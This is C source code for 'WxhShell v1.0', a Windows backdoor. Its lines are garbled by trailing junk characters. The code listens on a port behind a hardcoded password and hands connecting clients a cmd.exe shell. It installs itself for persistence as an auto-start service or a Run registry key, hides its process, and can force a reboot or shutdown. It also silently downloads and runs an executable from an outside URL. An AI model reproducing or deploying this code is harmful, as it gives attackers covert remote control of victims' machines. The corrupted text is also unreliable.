  case 'd': { l;0([_>*j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {%G9iOV.  
    if(Boot(SHUTDOWN)) Or.u*!od&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'z5jnI  
    else {  e|!'  
    closesocket(wsh); S xJ&5q  
    ExitThread(0); fMg9h9U  
    } dh7`eAMY   
    break; +4_,, I  
    } =Q40]>bpx  
  // 获取shell \/YRhQ  
  case 's': { q+\<%$:u  
    CmdShell(wsh); 2I [zV7 @t  
    closesocket(wsh); ` = O  
    ExitThread(0); wQUl!s7M;  
    break; &&9 |;0 <  
  } NOQ^HEi  
  // 退出  x)Bbo9J  
  case 'x': { ;&O?4?@4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p"p~Bx  
    CloseIt(wsh); a%B&F|u  
    break; '~&W'='b;  
    } wpM2{NTP  
  // 离开 } 7 o!  
  case 'q': { 4F|79U #  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K<*6E@+i  
    closesocket(wsh); aE5-b ub c  
    WSACleanup(); F1stRZ1ZI  
    exit(1); "ktuq\a@  
    break; I{cH$jt<  
        } K 77iv  
  } G-T^1?  
  } * ) <+u~  
8F8?1  
  // 提示信息 o'$"MC+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,~naKd.ZY  
} g= $U&Hgs  
  } 8xO   
\,G9'c 'u  
  return; ~dr,;NhOLJ  
} hJ{u!:4  
N9_* {HOy  
// shell模块句柄 ud `- w  
int CmdShell(SOCKET sock) Gn8 sB  
{ 9KU&M"Yq&i  
STARTUPINFO si; V'j+)!w5  
ZeroMemory(&si,sizeof(si)); d-_V*rYU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X?'cl]1?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +_7a/3kh  
PROCESS_INFORMATION ProcessInfo; f"FFgQMkv  
char cmdline[]="cmd"; ad: qOm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .g*N +T6O  
  return 0; X>[i<ei  
} (0NffM1  
gUru=p  
// 自身启动模式 "5V;~}=S  
int StartFromService(void) 60!%^O =  
{ _eiqs  
typedef struct 6/8K2_UeoW  
{ (NvjX})eh  
  DWORD ExitStatus; T"z<D+ pN  
  DWORD PebBaseAddress; Jr !BDg  
  DWORD AffinityMask; ;bB#P g  
  DWORD BasePriority; }CBQdH&g;  
  ULONG UniqueProcessId; ?z9!=A%<V~  
  ULONG InheritedFromUniqueProcessId; Pz2 b  
}   PROCESS_BASIC_INFORMATION; wu.l-VmGp)  
[j0[c9.p [  
PROCNTQSIP NtQueryInformationProcess; |MZ1j(_  
T ?[28|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1 jidBzu<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BI`)P+K2  
58s-RO6  
  HANDLE             hProcess; M4C8K{}  
  PROCESS_BASIC_INFORMATION pbi; N@c G jpQ  
+-<G(^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <}RI<96  
  if(NULL == hInst ) return 0; n>ui'}L  
TF/NA\0c$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U*r54AyP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7{F\b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R!j#  
OZxJDg  
  if (!NtQueryInformationProcess) return 0; @.W;3|~qc  
M 5sk&>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h~k<"  
  if(!hProcess) return 0; vdq=F|&  
\l:R]:w;ZI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <==uK>pET  
:'DyZy2Fd  
  CloseHandle(hProcess); {}YA7M:L  
Da(k>vR@4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TRm#H $  
if(hProcess==NULL) return 0; 'Bue*  
h:8P9WhWF  
HMODULE hMod; +06{5-,  
char procName[255]; <YU?1y?V  
unsigned long cbNeeded; ^L2d%d\5  
!XtG6ON=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r1r$y2v~  
?wB_fDb}  
  CloseHandle(hProcess); ~b~Tq  
j9h/`Bn  
if(strstr(procName,"services")) return 1; // 以服务启动 0DicrnH8  
wb.yGfJ  
  return 0; // 注册表启动 _aFe9+y  
} {cs>Sy 4  
M~2Us{ `  
// 主模块 64?HqO 6(  
int StartWxhshell(LPSTR lpCmdLine) S.!,qv z  
{ .2E/(VM  
  SOCKET wsl; NuQ!huh  
BOOL val=TRUE; s>J5.Z7"'j  
  int port=0; -MTk9<qnT  
  struct sockaddr_in door; F$a s#.7FF  
X hq ss),  
  if(wscfg.ws_autoins) Install(); H@uu;:l<7A  
w6V/Xp][U  
port=atoi(lpCmdLine); ;|Mfq` s  
WA (x]""  
if(port<=0) port=wscfg.ws_port; y47N(;vy  
\V$qAfP)  
  WSADATA data; \AwkK3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n2mO-ZXud  
H4y9\ -  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lJdBUoO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (fF8)4l  
  door.sin_family = AF_INET; wo0j/4o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K KB+o)*W  
  door.sin_port = htons(port); 6MVu"0#  
vS8& ,wJ!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7%  D4  
closesocket(wsl); b-<0\@`Z#  
return 1; v?VDASR2`  
} >Q/;0>V  
V$ H(a`!  
  if(listen(wsl,2) == INVALID_SOCKET) { 'SFAJ  
closesocket(wsl); ,'s }g,L  
return 1; ?62Im^1/  
} qLCNANWnd  
  Wxhshell(wsl); 9A"s7iJ)  
  WSACleanup(); 'SXHq>#gA  
o.ZR5`.  
return 0; !_ W/p`Tc  
s/7Z.\  
} *tUOTA 3L  
3>h2 W  
// 以NT服务方式启动 M^Sa{S*?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D}?p>e|<D  
{ 60~;UBm5O  
DWORD   status = 0; Y%?S:&GH  
  DWORD   specificError = 0xfffffff; `q36`Wn  
'f<N7%eZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s\;/U|P_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Tgz=I4g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $2a"Ec!7  
  serviceStatus.dwWin32ExitCode     = 0; tDRR3=9pX  
  serviceStatus.dwServiceSpecificExitCode = 0; 8ao-]QoMZ  
  serviceStatus.dwCheckPoint       = 0; XkA] 9,@  
  serviceStatus.dwWaitHint       = 0; r? /Uu &  
{U;yW)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x-[ItJ% l  
  if (hServiceStatusHandle==0) return; hS,&Nj+  
xF[%R{Mn'  
status = GetLastError(); 8s)b[Z5  
  if (status!=NO_ERROR) ]CzK{-W  
{ u#Ig!7iUu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zr|DC] 3  
    serviceStatus.dwCheckPoint       = 0; I> ;{BYPV  
    serviceStatus.dwWaitHint       = 0; yJI~{VmU7  
    serviceStatus.dwWin32ExitCode     = status; 3=d%WPgQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; +4:eb)e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e#*3X4<\K  
    return; (xb2H~WrN  
  } _f^6F<!  
lEHx/#qt9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *6?mZ*GYY  
  serviceStatus.dwCheckPoint       = 0; H7Q$k4\l  
  serviceStatus.dwWaitHint       = 0; /9pxEidVAS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v.|#^A?Qx  
} 8%K{lg"  
$U_(e:m}f  
// 处理NT服务事件,比如:启动、停止 (I$%6JO:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m#'eDO:  
{ UQu6JkbLL  
switch(fdwControl) :(A&8<}-6  
{ q}Q G<%VR  
case SERVICE_CONTROL_STOP: /0/ouA>+  
  serviceStatus.dwWin32ExitCode = 0; PZ|I3z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _^& q,S  
  serviceStatus.dwCheckPoint   = 0; N-K/jY  
  serviceStatus.dwWaitHint     = 0; r!&174DSR1  
  { B@(d5i{h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #4Z e2T|  
  } 1b~21n  
  return; #+ch  
case SERVICE_CONTROL_PAUSE: #NFB=o JI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 94w)Yln  
  break; Q$U5[ TZm  
case SERVICE_CONTROL_CONTINUE: (X "J)x aQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hP)Zm%@0f  
  break; rn|]-^ku/  
case SERVICE_CONTROL_INTERROGATE: fB+h( 2N~  
  break; t"4* ]S  
}; p3Ux%/ZqPV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \#,2#BmO"E  
} vW &G\L  
9E ^!i  
// 标准应用程序主函数 g[(@@TiG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .aT@'a{F  
{ K;6#v%  
':(AiD-}  
// 获取操作系统版本 :GIBB=D9  
OsIsNt=GetOsVer(); gkd4)\9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gk|>E[.  
A;L ]=J  
  // 从命令行安装 tY;<S}[@7w  
  if(strpbrk(lpCmdLine,"iI")) Install(); O]tR~a  
)jOa!E"  
  // 下载执行文件 66& uK|  
if(wscfg.ws_downexe) { gL_1~"3KGC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Br!;Ac&N  
  WinExec(wscfg.ws_filenam,SW_HIDE); HS <Jp44  
} r,JQR)l0@V  
/Z6lnm7wJ  
if(!OsIsNt) { B/;> v  
// 如果时win9x,隐藏进程并且设置为注册表启动 *V kaFQZ$,  
HideProc(); M*0^<e~]F  
StartWxhshell(lpCmdLine); q? ">  
} bh@CtnO  
else 9I/l+IS"X  
  if(StartFromService()) PRU&y/zZmG  
  // 以服务方式启动 -W9DH^EL<  
  StartServiceCtrlDispatcher(DispatchTable); Nud =K'P=  
else 1\fx57a\  
  // 普通方式启动 )YAa7\Od  
  StartWxhshell(lpCmdLine); vcFR Td  
'd~(=6J  
return 0; wnC} TWxX  
} !An?<Sv$  
fM ID}S  
zb{79Os[B  
A M[f  
=========================================== zd[k|lj  
C>Hdp_Lm  
2OJlE) .  
v ;\cM/&5  
 BI?, 3  
G[ U5R?/  
" $l*?Ce:  
)8C`EPe  
#include <stdio.h> m538p.(LIR  
#include <string.h> $Y7VA  
#include <windows.h> :%h1Q>F  
#include <winsock2.h> 9jjeZc'  
#include <winsvc.h> w(V%EEk  
#include <urlmon.h> (B4)L%  
i?!9%U!z4  
#pragma comment (lib, "Ws2_32.lib") b,+Sa\j)(  
#pragma comment (lib, "urlmon.lib") +%XByY5  
1Rd|P<y  
#define MAX_USER   100 // 最大客户端连接数 -rU_bnm  
#define BUF_SOCK   200 // sock buffer \OVFZ D  
#define KEY_BUFF   255 // 输入 buffer Z5'^81m$o  
~ L4NK#  
#define REBOOT     0   // 重启 yz K<yvN  
#define SHUTDOWN   1   // 关机 %Lh%bqGz  
 ijOp{  
#define DEF_PORT   5000 // 监听端口 , ~ 1+MZ=  
O5r8Ghf )  
#define REG_LEN     16   // 注册表键长度 q%x i>H.:{  
#define SVC_LEN     80   // NT服务名长度 'etA1]<N  
OM1Z}%J  
// 从dll定义API =x -7 Wy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JlnmG<WLT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xmnBG4,f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <<01@Q <  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); znE1t%V  
dXxf{|gk>  
// wxhshell配置信息 5@5 *}[M  
struct WSCFG { S%MDQTM  
  int ws_port;         // 监听端口 HVus\s\&y%  
  char ws_passstr[REG_LEN]; // 口令 MU$tX  
  int ws_autoins;       // 安装标记, 1=yes 0=no  `vH|P  
  char ws_regname[REG_LEN]; // 注册表键名 Kn->R9Tl  
  char ws_svcname[REG_LEN]; // 服务名 //c6vG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <\epj=OclV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +r!NR?^m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]6M<c[H>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I-^sJ@V;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CaZc{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1|{s8[;8  
ML>M:Ik+  
}; #; !@Pf  
32K& IfV  
// default Wxhshell configuration FXo.f<U  
struct WSCFG wscfg={DEF_PORT, z@VL?A(3  
    "xuhuanlingzhe", x[lIib1s  
    1, _6fy'%J=U  
    "Wxhshell", ?w(hPUd!2  
    "Wxhshell", D\5+2 G  
            "WxhShell Service", 7R6B}B?/  
    "Wrsky Windows CmdShell Service", n5C,Z!)z  
    "Please Input Your Password: ", #Gi`s?  
  1, `T*Y1@FV  
  "http://www.wrsky.com/wxhshell.exe",  x(HHy,  
  "Wxhshell.exe" -ZE YzZqY  
    }; qfXt%6L  
{{G3^ysa  
// 消息定义模块 AM=,:k$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )ItABl[{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0JtM|Mg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :oy2mi;  
char *msg_ws_ext="\n\rExit."; {xg=Ym)  
char *msg_ws_end="\n\rQuit."; We$ n  
char *msg_ws_boot="\n\rReboot..."; :PBFFLe  
char *msg_ws_poff="\n\rShutdown..."; ,G0"T~  
char *msg_ws_down="\n\rSave to "; [KR%8[e  
B{=DnB6  
char *msg_ws_err="\n\rErr!"; SWw!s&lP&  
char *msg_ws_ok="\n\rOK!"; J.JD8o9sa  
'a0M.*f}G  
char ExeFile[MAX_PATH]; ,iYhD-"'  
int nUser = 0; >rlUV"8jY;  
HANDLE handles[MAX_USER]; ynw(wSH=  
int OsIsNt; =)Hu(;Yv  
nam]eW  
SERVICE_STATUS       serviceStatus; Jw5@#j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oo;<I_#07  
\bT0\ (Js\  
// 函数声明 }*bp4<|  
int Install(void); EeMKo  
int Uninstall(void); =7e!'cF[  
int DownloadFile(char *sURL, SOCKET wsh); Ze>R@rK  
int Boot(int flag); 0p.MH~mx  
void HideProc(void); zwC ,,U  
int GetOsVer(void); 5{(4%  
int Wxhshell(SOCKET wsl); .+S%hT,v6i  
void TalkWithClient(void *cs); sxr,] @  
int CmdShell(SOCKET sock); d8;kM`U  
int StartFromService(void); i tNuY<"  
int StartWxhshell(LPSTR lpCmdLine); Fk49~z   
cEa8l~GC<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Fy\q>(v.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n@tt.n!{l  
xGyl7$J  
// 数据结构和表定义 *bo| F%NAz  
SERVICE_TABLE_ENTRY DispatchTable[] = kttJTP77t  
{ {Y5@SI yE  
{wscfg.ws_svcname, NTServiceMain}, 3:Nc`tM_  
{NULL, NULL} !2Ompcr1  
}; 1\,k^Je7  
Gjeb)Y6N  
// 自我安装 g"" 1\rc=  
int Install(void) MJX4;nbl  
{ ??aO3Vm{  
  char svExeFile[MAX_PATH]; QlvP[Jtr  
  HKEY key; BPv+gx(>k  
  strcpy(svExeFile,ExeFile); Q&PWW#D  
@+t|Aa^g  
// 如果是win9x系统,修改注册表设为自启动 6h5g!GQD  
if(!OsIsNt) { ! (lF#MG}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 41=H&G&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %r.OV_04  
  RegCloseKey(key); &I=o1F2B)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i/*)1;xsk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dH5*%  
  RegCloseKey(key); hN K wQ  
  return 0; 43h06X`  
    } HqsqUS3[  
  } [2xu`HT02  
} Y[)mHs2  
else { nHeJ20  
xO:h[  
// 如果是NT以上系统,安装为系统服务 ?8kFAf~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4u*n7di$9d  
if (schSCManager!=0) 4tUoK[p  
{ ::{\O\w  
  SC_HANDLE schService = CreateService z59;Qk  
  ( JtY$AP$  
  schSCManager, o|d:rp!^  
  wscfg.ws_svcname, 9mk@\Gqqm  
  wscfg.ws_svcdisp, 93D}0kp  
  SERVICE_ALL_ACCESS, 5JaLE5-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DqY"N ]  
  SERVICE_AUTO_START, l"JM%LV  
  SERVICE_ERROR_NORMAL, @ NDcO,]  
  svExeFile, K:-jn}i?/  
  NULL, ~D5FnN9  
  NULL, ]:@{tX 7c  
  NULL, 6X9$T11Vc  
  NULL, |APOTQV  
  NULL c nv%J}wq  
  ); _,0.h*c  
  if (schService!=0) /,uxj5_cT  
  { 2hNl_P~z1u  
  CloseServiceHandle(schService); jFg19C{=X  
  CloseServiceHandle(schSCManager); WFc4(Kl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \nP79F0%2  
  strcat(svExeFile,wscfg.ws_svcname); o=94H7@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 72RTEGy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  nm`( ;<W  
  RegCloseKey(key); 03)irq%l;  
  return 0; rD$5]%Y  
    } kuBtPZ  
  } 2{WZ?H93a  
  CloseServiceHandle(schSCManager); vv)w@A:Vn)  
} y|B HSc3  
} uPcx6X3]  
p q?# X0  
return 1; yqK_|7I+  
} $X:,Q,?  
EP;ts  
// 自我卸载 c{to9Lk.#  
int Uninstall(void) Cp!9 "J:  
{ :(OV{ u  
  HKEY key; WwoT~O8R  
 * ;Q#UH  
if(!OsIsNt) { H@zZ[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { % +  
  RegDeleteValue(key,wscfg.ws_regname); ueU"v'h\  
  RegCloseKey(key); rZ.=Lq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g,*fpk  
  RegDeleteValue(key,wscfg.ws_regname); +W1l9n*  
  RegCloseKey(key); dk1q9Tx  
  return 0; d< XY"Y%  
  } .$d:c61X  
} +KExK2=  
} 3,i`FqQa  
else { >cjxu9Vr1K  
m,hqq%qz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (W"0c?i|]  
if (schSCManager!=0) `_/1zL[  
{ _"D J|j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }Gb^%1%M  
  if (schService!=0) ()8=U_BFz  
  { NE`;=26c  
  if(DeleteService(schService)!=0) { tjV63`LD  
  CloseServiceHandle(schService); v@2?X4n  
  CloseServiceHandle(schSCManager); He4q-\ht  
  return 0; S9[Up}`  
  } . P 44t  
  CloseServiceHandle(schService); [`h,Ti!m<  
  } _{^F8  
  CloseServiceHandle(schSCManager); bg9_$laDi  
} dUn]aS  
} [Z'4YXS  
2>x[_  
return 1; /^{Q(R(X<  
} *a_QuEw _k  
.'+JA:3R  
// 从指定url下载文件 b)XGr?  
int DownloadFile(char *sURL, SOCKET wsh) c\P}Z Q  
{ uVZm9Sp  
  HRESULT hr; JKp@fQT *  
char seps[]= "/"; ?JRfhJ:j  
char *token; 4u|6^ wu.I  
char *file; >4>. Ycp  
char myURL[MAX_PATH]; {X pjm6a7  
char myFILE[MAX_PATH]; \(f82kv  
]Zay9jD}c-  
strcpy(myURL,sURL); {az LtTh  
  token=strtok(myURL,seps); OB(~zUe.R  
  while(token!=NULL) DVs$3RL  
  { ?|2m0~%V=  
    file=token; m^0*k|9+G  
  token=strtok(NULL,seps); ?~}8^~3  
  } 3\<(!yY8  
\n#l+R23  
GetCurrentDirectory(MAX_PATH,myFILE); RC"xnnIJv  
strcat(myFILE, "\\"); S=w~bz, /  
strcat(myFILE, file); *0a7H$iQ(]  
  send(wsh,myFILE,strlen(myFILE),0); S +73 /Vs  
send(wsh,"...",3,0); bw#\"uJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s5d[sx  
  if(hr==S_OK) tUfze9m  
return 0; odcrP\S  
else jP3~O  
return 1; n n8N 9w  
L<<v   
} N9Fu  
ER]C;DYX  
// 系统电源模块 ocp3JR_0  
int Boot(int flag) 7V\M)r{q7  
{ r_a1oO:  
  HANDLE hToken; \gZjq]3  
  TOKEN_PRIVILEGES tkp; $U_1e'  
H:1F=$0I9  
  if(OsIsNt) { giddM2'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OJcI0(G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g;3<oI/P  
    tkp.PrivilegeCount = 1; Zr\G=0`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1-4*YrA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9Cb>J  
if(flag==REBOOT) { Me,AE^pgL'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /8(t:  
  return 0; IP 1{gMG  
} Ce3  
else { uUG&At  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V SH64  
  return 0; w$I$xup  
} ~Oj-W6-+&,  
  } +qF,XJ2  
  else { @(tiPV  
if(flag==REBOOT) { ==7=1QfP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8\Z/mU*4  
  return 0; O~#OVFJ9=  
} 5Ul=Nv]  
else { dI8y}EbE~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f9E.X\"  
  return 0; bzMs\rj\  
} "l09Ae'V  
} oxqD/fY  
dG]s_lb9H  
return 1; kmL~H1qd  
} Vuo 8[h>  
{[B`q  
// win9x进程隐藏模块 iuq%Q\0@w  
void HideProc(void) b{JxTT}03  
{ _UeIzdV9  
0l%|2}a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ] yXrD`J!  
  if ( hKernel != NULL ) G Q+g.{c  
  { {I_I$x_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m`ab5<%Gn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (V~PYf%  
    FreeLibrary(hKernel); {?'c|\n Li  
  } W r;?t!  
p>]2o\["  
return; &5wM`  
} o[eIwGxZ  
j]_"MMwk$<  
// 获取操作系统版本 %8GY`T:^  
int GetOsVer(void) s%qK<U4@;Q  
{ ut^^,w{o>  
  OSVERSIONINFO winfo; ViT$]Nv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VlFDMw.4.+  
  GetVersionEx(&winfo); e_pyjaY!s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Bx&wS|-)D  
  return 1; $lrq*Nf9c  
  else HPR*:t  
  return 0; jG3i )ALx  
} x-{awP  
*[_>d.i  
// 客户端句柄模块 AU +2'  
int Wxhshell(SOCKET wsl) s8N\cOd#i  
{ #(NkbJ5ka  
  SOCKET wsh; f9 b=Zm'  
  struct sockaddr_in client; m)9qO7P  
  DWORD myID; 68LB745  
bMw)> 4  
  while(nUser<MAX_USER) lTv_%hUp  
{ DV/P/1E  
  int nSize=sizeof(client); G(~"Zt}?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (yel  
  if(wsh==INVALID_SOCKET) return 1; Ea*Jl<  
U8KEg)Msk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f)+fdc  
if(handles[nUser]==0) ojH-;|f  
  closesocket(wsh); ~FV Z0%+,  
else 9WuKW***  
  nUser++; vb.`rj6  
  } _,4f z(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ls^$E  
=2eG j'}  
  return 0; `cr.C|RT:  
} Ci ? +Sl  
^CwzA B  
// 关闭 socket o5FBqt  
void CloseIt(SOCKET wsh) i'%:z]hp9  
{ q|%(47}z  
closesocket(wsh); ^\<1Y''  
nUser--; xe6 2gaT  
ExitThread(0); n300kpv  
} ATU 2\Y  
=kvYE,,g_  
// 客户端请求句柄 WVf>>E^1  
void TalkWithClient(void *cs) RSY{IY  
{ HJ*W3Mg  
a[GlqaQy+-  
  SOCKET wsh=(SOCKET)cs; h&vq}  
  char pwd[SVC_LEN]; |f~p3KCfV  
  char cmd[KEY_BUFF]; 'I_\ELb_  
char chr[1]; {^bs }($J  
int i,j; +'x`rk  
xla9:*pPn  
  while (nUser < MAX_USER) { toEmIa~o6  
*Gm%Dn  
if(wscfg.ws_passstr) { k]"Rg2>%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,g$N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ET`;TfqM  
  //ZeroMemory(pwd,KEY_BUFF); xXu/CGzG  
      i=0; >i4UU0m  
  while(i<SVC_LEN) { Rd5r~iT  
dt  4_x1  
  // 设置超时 xF_ Y7rw1w  
  fd_set FdRead; '+ |{4-V  
  struct timeval TimeOut; 4 |N&Y  
  FD_ZERO(&FdRead); $N=A,S  
  FD_SET(wsh,&FdRead); G~e`O,+  
  TimeOut.tv_sec=8; g!O(@Sqp1  
  TimeOut.tv_usec=0; m4 *Rr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cV5Lp4wY?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @qH<4`y.^  
(+9_nAgZ,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HQ+:0" B  
  pwd=chr[0]; xS,#TU;)Ol  
  if(chr[0]==0xd || chr[0]==0xa) { GjA;o3(  
  pwd=0; 52>?l C  
  break; kG+CT  
  } c|Nv^V*2  
  i++; Au" [2cG  
    } x 1$tS#lS  
mD)_quz.sk  
  // 如果是非法用户,关闭 socket ~'HwNzDQc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ajhrsa\~a  
} gBq,So  
%?C{0(Z{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gRKmfJ*u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +MeEy{;  
pscCXk(|A`  
while(1) { 5HioxHL  
Xt/muV  
  ZeroMemory(cmd,KEY_BUFF); <vA^%D<\~  
hsljJvs  
      // 自动支持客户端 telnet标准   }$;T.[ ~  
  j=0; fdzD6K ZI  
  while(j<KEY_BUFF) { >=i47-H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v. ,C"^W  
  cmd[j]=chr[0]; {JzX`Z30l  
  if(chr[0]==0xa || chr[0]==0xd) { 8Hs>+Udl  
  cmd[j]=0; yU*j{>%RsK  
  break; lyx p:  
  } lvb0dOmY  
  j++; V D.p"F(]  
    } ^owEB%  
X{ZBS^M  
  // 下载文件 >GgX-SZ%  
  if(strstr(cmd,"http://")) { r 06}@7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )D@1V=9,  
  if(DownloadFile(cmd,wsh)) M>0=A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NwuME/C7#  
  else $d!Sl a  
